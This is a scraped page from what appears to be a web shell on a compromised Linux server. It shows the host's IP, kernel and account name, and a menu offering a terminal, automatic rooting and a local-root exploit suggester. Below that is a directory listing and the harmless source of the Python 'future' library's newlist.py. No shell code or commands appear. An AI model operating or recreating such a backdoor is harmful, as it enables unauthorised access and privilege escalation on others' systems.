Linux newlinux5.pouyasazan.org 3.10.0-962.3.2.lve1.5.60.el7.x86_64 #1 SMP Fri Jul 23 07:07:00 EDT 2021 x86_64
LiteSpeed
Server IP : 88.99.66.243 & Your IP : 216.73.216.178
Domains :
Cant Read [ /etc/named.conf ]
User : wdbbsgxf
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
lib /
python2.7 /
site-packages /
future /
types /
Delete
Unzip
Name
Size
Permission
Date
Action
__init__.py
6.67
KB
-rw-r--r--
2019-10-31 04:04
__init__.pyc
6.51
KB
-rw-r--r--
2020-01-24 15:25
__init__.pyo
6.51
KB
-rw-r--r--
2020-01-24 15:25
newbytes.py
15.92
KB
-rw-r--r--
2019-10-31 04:04
newbytes.pyc
16.84
KB
-rw-r--r--
2020-01-24 15:25
newbytes.pyo
16.8
KB
-rw-r--r--
2020-01-24 15:25
newdict.py
3.03
KB
-rw-r--r--
2019-10-31 04:04
newdict.pyc
4.18
KB
-rw-r--r--
2020-01-24 15:25
newdict.pyo
4.18
KB
-rw-r--r--
2020-01-24 15:25
newint.py
12.97
KB
-rw-r--r--
2019-10-31 04:04
newint.pyc
15.16
KB
-rw-r--r--
2020-01-24 15:25
newint.pyo
15.11
KB
-rw-r--r--
2020-01-24 15:25
newlist.py
2.23
KB
-rw-r--r--
2019-10-31 04:04
newlist.pyc
3.64
KB
-rw-r--r--
2020-01-24 15:25
newlist.pyo
3.64
KB
-rw-r--r--
2020-01-24 15:25
newmemoryview.py
712
B
-rw-r--r--
2019-10-31 04:04
newmemoryview.pyc
1.15
KB
-rw-r--r--
2020-01-24 15:25
newmemoryview.pyo
1.15
KB
-rw-r--r--
2020-01-24 15:25
newobject.py
3.28
KB
-rw-r--r--
2019-10-31 04:04
newobject.pyc
2.99
KB
-rw-r--r--
2020-01-24 15:25
newobject.pyo
2.99
KB
-rw-r--r--
2020-01-24 15:25
newopen.py
810
B
-rw-r--r--
2019-10-31 04:04
newopen.pyc
1.92
KB
-rw-r--r--
2020-01-24 15:25
newopen.pyo
1.92
KB
-rw-r--r--
2020-01-24 15:25
newrange.py
5.17
KB
-rw-r--r--
2019-10-31 04:04
newrange.pyc
7.33
KB
-rw-r--r--
2020-01-24 15:25
newrange.pyo
7.33
KB
-rw-r--r--
2020-01-24 15:25
newstr.py
15.39
KB
-rw-r--r--
2019-10-31 04:04
newstr.pyc
16.82
KB
-rw-r--r--
2020-01-24 15:25
newstr.pyo
16.79
KB
-rw-r--r--
2020-01-24 15:25
Save
Rename
""" A list subclass for Python 2 that behaves like Python 3's list. The primary difference is that lists have a .copy() method in Py3. Example use: >>> from builtins import list >>> l1 = list() # instead of {} for an empty list >>> l1.append('hello') >>> l2 = l1.copy() """ import sys import copy from future.utils import with_metaclass from future.types.newobject import newobject _builtin_list = list ver = sys.version_info[:2] class BaseNewList(type): def __instancecheck__(cls, instance): if cls == newlist: return isinstance(instance, _builtin_list) else: return issubclass(instance.__class__, cls) class newlist(with_metaclass(BaseNewList, _builtin_list)): """ A backport of the Python 3 list object to Py2 """ def copy(self): """ L.copy() -> list -- a shallow copy of L """ return copy.copy(self) def clear(self): """L.clear() -> None -- remove all items from L""" for i in range(len(self)): self.pop() def __new__(cls, *args, **kwargs): """ list() -> new empty list list(iterable) -> new list initialized from iterable's items """ if len(args) == 0: return super(newlist, cls).__new__(cls) elif type(args[0]) == newlist: value = args[0] else: value = args[0] return super(newlist, cls).__new__(cls, value) def __add__(self, value): return newlist(super(newlist, self).__add__(value)) def __radd__(self, left): " left + self " try: return newlist(left) + self except: return NotImplemented def __getitem__(self, y): """ x.__getitem__(y) <==> x[y] Warning: a bug in Python 2.x prevents indexing via a slice from returning a newlist object. """ if isinstance(y, slice): return newlist(super(newlist, self).__getitem__(y)) else: return super(newlist, self).__getitem__(y) def __native__(self): """ Hook for the future.utils.native() function """ return list(self) def __nonzero__(self): return len(self) > 0 __all__ = ['newlist']